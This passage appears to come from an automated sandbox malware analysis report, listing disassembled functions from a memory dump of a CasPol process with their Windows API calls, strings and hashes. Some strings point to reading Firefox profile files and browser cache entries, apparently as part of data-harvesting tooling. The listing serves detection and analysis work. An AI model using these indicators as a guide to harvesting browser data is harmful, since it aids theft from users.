                                                                                                                                                                                                  • Opcode ID: 97bbb4bd5fc40a2980dfba304632497cbec8fb91d9ab00b7ac9f2109681e0e22
                                                                                                                                                                                                  • Instruction ID: fb691a4f2f0ee0f23db40d54bf7b3fb7beca904c55697b54c7815e943e903c38
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 97bbb4bd5fc40a2980dfba304632497cbec8fb91d9ab00b7ac9f2109681e0e22
                                                                                                                                                                                                  • Instruction Fuzzy Hash: A97182B280021DBFEB219F51DC45EEA3B7CFB08355F0440B6F508A6161DB799E948F69
                                                                                                                                                                                                  Function 00401198 Relevance: 39.2, APIs: 26, Instructions: 185COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetDlgItem.USER32(?,000003EC), ref: 004011F0
                                                                                                                                                                                                  • ChildWindowFromPoint.USER32(?,?,?), ref: 00401202
                                                                                                                                                                                                  • GetDlgItem.USER32(?,000003EE), ref: 00401238
                                                                                                                                                                                                  • ChildWindowFromPoint.USER32(?,?,?), ref: 00401245
                                                                                                                                                                                                  • GetDlgItem.USER32(?,000003EC), ref: 00401273
                                                                                                                                                                                                  • ChildWindowFromPoint.USER32(?,?,?), ref: 00401285
                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000,?,?), ref: 0040128E
                                                                                                                                                                                                  • LoadCursorW.USER32(00000000,00000067), ref: 00401297
                                                                                                                                                                                                  • SetCursor.USER32(00000000), ref: 0040129E
                                                                                                                                                                                                  • GetDlgItem.USER32(?,000003EE), ref: 004012BF
                                                                                                                                                                                                  • ChildWindowFromPoint.USER32(?,?,?), ref: 004012CC
                                                                                                                                                                                                  • GetDlgItem.USER32(?,000003EC), ref: 004012E6
                                                                                                                                                                                                  • SetBkMode.GDI32(?,00000001), ref: 004012F2
                                                                                                                                                                                                  • SetTextColor.GDI32(?,00C00000), ref: 00401300
                                                                                                                                                                                                  • GetSysColorBrush.USER32(0000000F), ref: 00401308
                                                                                                                                                                                                  • GetDlgItem.USER32(?,000003EE), ref: 00401329
                                                                                                                                                                                                  • EndDialog.USER32(?,?), ref: 0040135E
                                                                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0040136A
                                                                                                                                                                                                  • GetDlgItem.USER32(?,000003ED), ref: 0040138F
                                                                                                                                                                                                  • ShowWindow.USER32(00000000), ref: 00401398
                                                                                                                                                                                                  • GetDlgItem.USER32(?,000003EE), ref: 004013A4
                                                                                                                                                                                                  • ShowWindow.USER32(00000000), ref: 004013A7
                                                                                                                                                                                                  • SetDlgItemTextW.USER32(?,000003EE,0045D778), ref: 004013B8
                                                                                                                                                                                                  • SetWindowTextW.USER32(?,00000000), ref: 004013CA
                                                                                                                                                                                                  • SetDlgItemTextW.USER32(?,000003EA,?), ref: 004013E2
                                                                                                                                                                                                  • SetDlgItemTextW.USER32(?,000003EC,?), ref: 004013F3
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogHandleLoadModeModuleObject
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 829165378-0
                                                                                                                                                                                                  • Opcode ID: 19a332b7149b8c9d9d3d6ff7d6a76f82ec59d5834f8b717de0dd62f1513d673f
                                                                                                                                                                                                  • Instruction ID: caa3714a391556dce09a7e5fb0b25e31ef738818e6d8753142f97b5ec5ee2caf
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 19a332b7149b8c9d9d3d6ff7d6a76f82ec59d5834f8b717de0dd62f1513d673f
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0051B134500708AFEB32AF61DC85E6E7BB9FB44301F10093AF552A61F1C7B9A991DB19
                                                                                                                                                                                                  Function 0040414F Relevance: 35.1, APIs: 13, Strings: 7, Instructions: 145COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 00404172
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                                                    • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                                                                                  • wcscpy.MSVCRT ref: 004041D6
                                                                                                                                                                                                  • wcscpy.MSVCRT ref: 004041E7
                                                                                                                                                                                                  • memset.MSVCRT ref: 00404200
                                                                                                                                                                                                  • memset.MSVCRT ref: 00404215
                                                                                                                                                                                                  • _snwprintf.MSVCRT ref: 0040422F
                                                                                                                                                                                                  • wcscpy.MSVCRT ref: 00404242
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040426E
                                                                                                                                                                                                  • memset.MSVCRT ref: 004042CD
                                                                                                                                                                                                  • memset.MSVCRT ref: 004042E2
                                                                                                                                                                                                  • _snwprintf.MSVCRT ref: 004042FE
                                                                                                                                                                                                  • wcscpy.MSVCRT ref: 00404311
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memset$wcscpy$_snwprintfwcslen$AttributesFilewcscat
                                                                                                                                                                                                  • String ID: AE$General$IsRelative$Path$Profile%d$profiles.ini$EA
                                                                                                                                                                                                  • API String ID: 2454223109-1580313836
                                                                                                                                                                                                  • Opcode ID: 14b0d88d68d2695e792434069e0167c5559d7d25d781ac3d9655dfb0e2d65502
                                                                                                                                                                                                  • Instruction ID: 5f54f20862f9259acc4f568515dc65a5c395277ecd0331c6beb9e3a358a2eb32
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 14b0d88d68d2695e792434069e0167c5559d7d25d781ac3d9655dfb0e2d65502
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 18512FB294012CBADB20EB55DC45ECFB7BCBF55744F0040E6B50CA2142EA795B84CFAA
                                                                                                                                                                                                  Function 00411346 Relevance: 31.8, APIs: 13, Strings: 5, Instructions: 263windowregistryclipboardCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040D407: LoadMenuW.USER32(00000000), ref: 0040D40F
                                                                                                                                                                                                  • SetMenu.USER32(?,00000000), ref: 00411453
                                                                                                                                                                                                  • SendMessageW.USER32(00000000,00000404,00000001,?), ref: 00411486
                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 00411495
                                                                                                                                                                                                  • LoadImageW.USER32(00000000,00000068,00000000,00000000,00000000,00009060), ref: 004114A2
                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 004114D9
                                                                                                                                                                                                  • CreateWindowExW.USER32(00000000,SysListView32,00000000,50810809,00000000,00000000,00000190,000000C8,?,00000103,00000000,00000000), ref: 00411500
                                                                                                                                                                                                  • memcpy.MSVCRT(?,?,00002008,/nosaveload,00000000,00000001), ref: 004115C8
                                                                                                                                                                                                  • ShowWindow.USER32(?,?), ref: 004115FE
                                                                                                                                                                                                  • GetFileAttributesW.KERNEL32(0045E078), ref: 0041162F
                                                                                                                                                                                                  • GetTempPathW.KERNEL32(00000104,0045E078), ref: 0041163F
                                                                                                                                                                                                  • RegisterClipboardFormatW.USER32(commdlg_FindReplace), ref: 0041167A
                                                                                                                                                                                                  • SendMessageW.USER32(?,00000404,00000002,?), ref: 004116B4
                                                                                                                                                                                                  • SendMessageW.USER32(?,0000040B,00001001,00000000), ref: 004116C7
                                                                                                                                                                                                    • Part of subcall function 00404592: wcslen.MSVCRT ref: 004045AF
                                                                                                                                                                                                    • Part of subcall function 00404592: SendMessageW.USER32(?,00001061,?,?), ref: 004045D3
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: MessageSend$HandleLoadMenuModuleWindow$AttributesClipboardCreateFileFormatImagePathRegisterShowTempmemcpywcslen
                                                                                                                                                                                                  • String ID: /nosaveload$SysListView32$commdlg_FindReplace$report.html$xE
                                                                                                                                                                                                  • API String ID: 4054529287-3175352466
                                                                                                                                                                                                  • Opcode ID: 80e2c4da556a6dfda94225f517483429c905b521daebd2f44f7cad3fe39d77d4
                                                                                                                                                                                                  • Instruction ID: 800f7bfcdfcb1fd3e7c20450dd8eb4425a557a8a4e928c852398501c1500280f
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 80e2c4da556a6dfda94225f517483429c905b521daebd2f44f7cad3fe39d77d4
                                                                                                                                                                                                  • Instruction Fuzzy Hash: CBA1A271640388AFEB11DF69CC89FCA3FA5AF55304F0404B9FE48AF292C6B59548CB65
                                                                                                                                                                                                  Function 0041019A Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 122COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _snwprintf$memset$wcscpy
                                                                                                                                                                                                  • String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
                                                                                                                                                                                                  • API String ID: 2000436516-3842416460
                                                                                                                                                                                                  • Opcode ID: 3adec529592eaa12cbb3371149c11df059df1660bb42a65f2cf1cf9995de4c18
                                                                                                                                                                                                  • Instruction ID: 0effb7443b15cd0e53e626898d2c9f551e6481245c02f09bcd1282082c9ffe88
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3adec529592eaa12cbb3371149c11df059df1660bb42a65f2cf1cf9995de4c18
                                                                                                                                                                                                  • Instruction Fuzzy Hash: C74163B194021D7AEB20EF55DC46EEB73BCFF45304F0440ABB908A2141E7759B988F66
                                                                                                                                                                                                  Function 0040E2AB Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 165COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00406B90: _wcsicmp.MSVCRT ref: 00406BC1
                                                                                                                                                                                                    • Part of subcall function 00406E8F: memset.MSVCRT ref: 00406F8B
                                                                                                                                                                                                  • free.MSVCRT ref: 0040E49A
                                                                                                                                                                                                    • Part of subcall function 0040DD50: _wcsicmp.MSVCRT ref: 0040DD69
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040E380
                                                                                                                                                                                                    • Part of subcall function 0040AA29: wcslen.MSVCRT ref: 0040AA3C
                                                                                                                                                                                                    • Part of subcall function 0040AA29: memcpy.MSVCRT(?,?,00000000,00000001,00401B3C,0044E518,?,00000001,00401B95,?,00401EE4), ref: 0040AA5B
                                                                                                                                                                                                  • wcschr.MSVCRT ref: 0040E3B8
                                                                                                                                                                                                  • memcpy.MSVCRT(?,-00000121,00000008,0044E518,00000000,00000000,756F13E0), ref: 0040E3EC
                                                                                                                                                                                                  • memcpy.MSVCRT(?,-00000121,00000008,0044E518,00000000,00000000,756F13E0), ref: 0040E407
                                                                                                                                                                                                  • memcpy.MSVCRT(?,-00000220,00000008,0044E518,00000000,00000000,756F13E0), ref: 0040E422
                                                                                                                                                                                                  • memcpy.MSVCRT(?,-00000220,00000008,0044E518,00000000,00000000,756F13E0), ref: 0040E43D
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memcpy$_wcsicmpmemset$freewcschrwcslen
                                                                                                                                                                                                  • String ID: $AccessCount$AccessedTime$CreationTime$EntryID$ExpiryTime$ModifiedTime$Url
                                                                                                                                                                                                  • API String ID: 3849927982-2252543386
                                                                                                                                                                                                  • Opcode ID: c30480054a5ca474dc40abe6212bc187cfeb1b733cbf080f7a891c76daa1d321
                                                                                                                                                                                                  • Instruction ID: 3bb3cf654da2d90f893253d259683e8481abe175d229eeda5eb464894a91a1db
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c30480054a5ca474dc40abe6212bc187cfeb1b733cbf080f7a891c76daa1d321
                                                                                                                                                                                                  • Instruction Fuzzy Hash: DA512071E00309ABDF10EFA6DC45B9EB7B8AF54305F15443BA904F7291E678AA14CB58
                                                                                                                                                                                                  Function 004091B8 Relevance: 25.8, APIs: 16, Strings: 1, Instructions: 272COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 004091E2
                                                                                                                                                                                                    • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                                                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?,00000143,00000000), ref: 004092C9
                                                                                                                                                                                                  • memcmp.MSVCRT ref: 004092D9
                                                                                                                                                                                                  • memcpy.MSVCRT(?,00000023,?), ref: 0040930C
                                                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000010), ref: 00409325
                                                                                                                                                                                                  • memcmp.MSVCRT ref: 0040933B
                                                                                                                                                                                                  • memcpy.MSVCRT(?,00000015,?), ref: 00409357
                                                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000010), ref: 00409370
                                                                                                                                                                                                  • memcmp.MSVCRT ref: 00409411
                                                                                                                                                                                                  • memcmp.MSVCRT ref: 00409429
                                                                                                                                                                                                  • memcpy.MSVCRT(?,00000023,?), ref: 00409462
                                                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000010), ref: 0040947E
                                                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000020), ref: 0040949A
                                                                                                                                                                                                  • memcmp.MSVCRT ref: 004094AC
                                                                                                                                                                                                  • memcpy.MSVCRT(?,00000015,?), ref: 004094D0
                                                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000020), ref: 004094E8
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memcpy$memcmp$ByteCharMultiWidememset
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3715365532-3916222277
                                                                                                                                                                                                  • Opcode ID: f920f79086ebd03163bb660580745ba542768fbf6859bbba0dc8aac637b41020
                                                                                                                                                                                                  • Instruction ID: d5c0d9b4f94ac501fd0f2fb5594fd033b2d13f4c98b4255323c8c53c7695c3f7
                                                                                                                                                                                                  • Opcode Fuzzy Hash: f920f79086ebd03163bb660580745ba542768fbf6859bbba0dc8aac637b41020
                                                                                                                                                                                                  • Instruction Fuzzy Hash: DDA1BA71900605ABDB21EF65D885BAFB7BCAF44304F01043FF945E6282EB78EA458B59
                                                                                                                                                                                                  Function 00412172 Relevance: 19.7, APIs: 13, Instructions: 189windowCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetDC.USER32(00000000), ref: 004121FF
                                                                                                                                                                                                  • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0041220A
                                                                                                                                                                                                  • ReleaseDC.USER32(00000000,00000000), ref: 0041221F
                                                                                                                                                                                                  • SetBkMode.GDI32(?,00000001), ref: 00412232
                                                                                                                                                                                                  • SetTextColor.GDI32(?,00FF0000), ref: 00412240
                                                                                                                                                                                                  • SelectObject.GDI32(?,?), ref: 00412251
                                                                                                                                                                                                  • DrawTextExW.USER32(?,?,000000FF,?,00000024,?), ref: 00412285
                                                                                                                                                                                                  • SelectObject.GDI32(00000014,00000005), ref: 00412291
                                                                                                                                                                                                    • Part of subcall function 00411FC6: GetCursorPos.USER32(?), ref: 00411FD0
                                                                                                                                                                                                    • Part of subcall function 00411FC6: GetSubMenu.USER32(?,00000000), ref: 00411FDE
                                                                                                                                                                                                    • Part of subcall function 00411FC6: TrackPopupMenu.USER32(00000000,00000002,?,?,00000000,?,00000000), ref: 0041200F
                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 004122AC
                                                                                                                                                                                                  • LoadCursorW.USER32(00000000,00000067), ref: 004122B5
                                                                                                                                                                                                  • SetCursor.USER32(00000000), ref: 004122BC
                                                                                                                                                                                                  • PostMessageW.USER32(?,00000428,00000000,00000000), ref: 00412304
                                                                                                                                                                                                  • memcpy.MSVCRT(?,?,00002008), ref: 0041234D
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Cursor$MenuObjectSelectText$CapsColorDeviceDrawHandleLoadMessageModeModulePopupPostReleaseTrackmemcpy
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1700100422-0
                                                                                                                                                                                                  • Opcode ID: da24f667188ca395770274d48ae20aaa805e07b53c3ccbe50e1108a3d75e9f91
                                                                                                                                                                                                  • Instruction ID: eb413d4c014922f01c1be241ee45634b3e5b5e29cfe5fc1015c733cb557b7a75
                                                                                                                                                                                                  • Opcode Fuzzy Hash: da24f667188ca395770274d48ae20aaa805e07b53c3ccbe50e1108a3d75e9f91
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0F61D331600109AFDB149F74CE89BEA77A5BB45300F10052AFA25D7291DBBC9CB1DB59
                                                                                                                                                                                                  Function 004111C1 Relevance: 18.1, APIs: 12, Instructions: 113COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetClientRect.USER32(?,?), ref: 004111E0
                                                                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 004111F6
                                                                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 0041120C
                                                                                                                                                                                                  • GetDlgItem.USER32(00000000,0000040D), ref: 00411246
                                                                                                                                                                                                  • GetWindowRect.USER32(00000000), ref: 0041124D
                                                                                                                                                                                                  • MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 0041125D
                                                                                                                                                                                                  • BeginDeferWindowPos.USER32(00000004), ref: 00411281
                                                                                                                                                                                                  • DeferWindowPos.USER32(?,?,00000000,00000000,00000000,?,?,00000004), ref: 004112A4
                                                                                                                                                                                                  • DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000006), ref: 004112C3
                                                                                                                                                                                                  • DeferWindowPos.USER32(?,?,00000000,00000000,000000DC,?,?,00000004), ref: 004112EE
                                                                                                                                                                                                  • DeferWindowPos.USER32(?,00000000,00000000,00000000,?,?,000000DC,00000004), ref: 00411306
                                                                                                                                                                                                  • EndDeferWindowPos.USER32(?), ref: 0041130B
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Window$Defer$Rect$BeginClientItemPoints
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 552707033-0
                                                                                                                                                                                                  • Opcode ID: 94434f3586c80254c14fe7888e5e60b5c724479e0532bb2ef8c61210f3daf4e7
                                                                                                                                                                                                  • Instruction ID: 1a89c9de14f4e003cb1acc22e2fe5cfe68aec74c13575a54a2aa846d798aa5ff
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 94434f3586c80254c14fe7888e5e60b5c724479e0532bb2ef8c61210f3daf4e7
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3B41D375900209FFEB11DFA8DD89FEEBBBAFB48300F104469F655A61A0C771AA50DB14
                                                                                                                                                                                                  Function 0040C084 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 110stringfileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 0040C0A4
                                                                                                                                                                                                    • Part of subcall function 0040A32D: SetFilePointer.KERNEL32(0040C2BF,?,00000000,00000000,?,0040C0C5,00000000,00000000,?,00000020,?,0040C255,?,?,*.*,0040C2BF), ref: 0040A33A
                                                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000), ref: 0040C0D4
                                                                                                                                                                                                    • Part of subcall function 0040BFF3: _memicmp.MSVCRT ref: 0040C00D
                                                                                                                                                                                                    • Part of subcall function 0040BFF3: memcpy.MSVCRT(?,?,00000004,00000000,?,?,?,?,?,?,?,?,*.*,0040C2BF,00000000), ref: 0040C024
                                                                                                                                                                                                  • memcpy.MSVCRT(00000000,?,00000004,00000000,?,?,?,?), ref: 0040C11B
                                                                                                                                                                                                  • strchr.MSVCRT ref: 0040C140
                                                                                                                                                                                                  • strchr.MSVCRT ref: 0040C151
                                                                                                                                                                                                  • _strlwr.MSVCRT ref: 0040C15F
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040C17A
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0040C1C7
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$memcpystrchr$CloseCreateHandlePointerSize_memicmp_strlwrmemset
                                                                                                                                                                                                  • String ID: 4$h
                                                                                                                                                                                                  • API String ID: 4066021378-1856150674
                                                                                                                                                                                                  • Opcode ID: 74984e11edfdd2211d0d35a95e6cfe2b897958e94349246af9e5f94d48ef065d
                                                                                                                                                                                                  • Instruction ID: ad7b68c589633d756b108d453181f98220e50dbf4ed18f1a1dc8c2c6e1bbf79d
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 74984e11edfdd2211d0d35a95e6cfe2b897958e94349246af9e5f94d48ef065d
                                                                                                                                                                                                  • Instruction Fuzzy Hash: F531C2B2800218FEEB20EB54CC85EEE73BCEF05354F14416AF508A6181D7389F558FA9
                                                                                                                                                                                                  Function 004060A4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97timewindowCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • SetTimer.USER32(?,00000041,00000064,00000000), ref: 004060C7
                                                                                                                                                                                                  • KillTimer.USER32(?,00000041), ref: 004060D7
                                                                                                                                                                                                  • KillTimer.USER32(?,00000041), ref: 004060E8
                                                                                                                                                                                                  • GetTickCount.KERNEL32 ref: 0040610B
                                                                                                                                                                                                  • GetParent.USER32(?), ref: 00406136
                                                                                                                                                                                                  • SendMessageW.USER32(00000000), ref: 0040613D
                                                                                                                                                                                                  • BeginDeferWindowPos.USER32(00000004), ref: 0040614B
                                                                                                                                                                                                  • EndDeferWindowPos.USER32(00000000), ref: 0040619B
                                                                                                                                                                                                  • InvalidateRect.USER32(?,?,00000001), ref: 004061A7
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Timer$DeferKillWindow$BeginCountInvalidateMessageParentRectSendTick
                                                                                                                                                                                                  • String ID: A
                                                                                                                                                                                                  • API String ID: 2892645895-3554254475
                                                                                                                                                                                                  • Opcode ID: 9ab18b63844edbdd48863c33bac36f0a113902732bc81a80893c7cf372b99e85
                                                                                                                                                                                                  • Instruction ID: 3d646c34c65c30a23a549f03b0efc12359fcfb722ff8df3f2fd47db5f06942f8
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9ab18b63844edbdd48863c33bac36f0a113902732bc81a80893c7cf372b99e85
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 67318F75240304BBEB205F62DC85F6A7B6ABB44742F018539F3067A5E1C7F998A18B58
                                                                                                                                                                                                  Function 0040D2AB Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Menu$Itemmemset$CountInfoModifywcscatwcschr
                                                                                                                                                                                                  • String ID: 0$6
                                                                                                                                                                                                  • API String ID: 4066108131-3849865405
                                                                                                                                                                                                  • Opcode ID: 0289309123c9ab86839131df51d1afc7e9f627d47cda6d3754f054bafba8353e
                                                                                                                                                                                                  • Instruction ID: 23fd2219eb4cf2a86962fa47610fb6a66e7712bfbd77636794901fa2ff6d3352
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0289309123c9ab86839131df51d1afc7e9f627d47cda6d3754f054bafba8353e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1C317C72808344AFDB209F95D84499FB7E8FF84314F00493EFA48A2291D775D949CB5B
                                                                                                                                                                                                  Function 004082C7 Relevance: 15.2, APIs: 10, Instructions: 229COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 004082EF
                                                                                                                                                                                                    • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                                                                                                                                                                                                  • memset.MSVCRT ref: 00408362
                                                                                                                                                                                                  • memset.MSVCRT ref: 00408377
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memset$ByteCharMultiWide
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 290601579-0
                                                                                                                                                                                                  • Opcode ID: 2c5b7af1b6ad7fa84976a25c4c1a6b62738b238711a472a87ec5ace72f6ab842
                                                                                                                                                                                                  • Instruction ID: eff1c4cb9ad8ed09cf65616da307521f953f8cb6273bc8e87bbfe44e88666a06
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2c5b7af1b6ad7fa84976a25c4c1a6b62738b238711a472a87ec5ace72f6ab842
                                                                                                                                                                                                  • Instruction Fuzzy Hash: E1716C72E0421DAFEF10EFA1EC82AEDB7B9EF04314F14406FE104B6191EB795A458B59
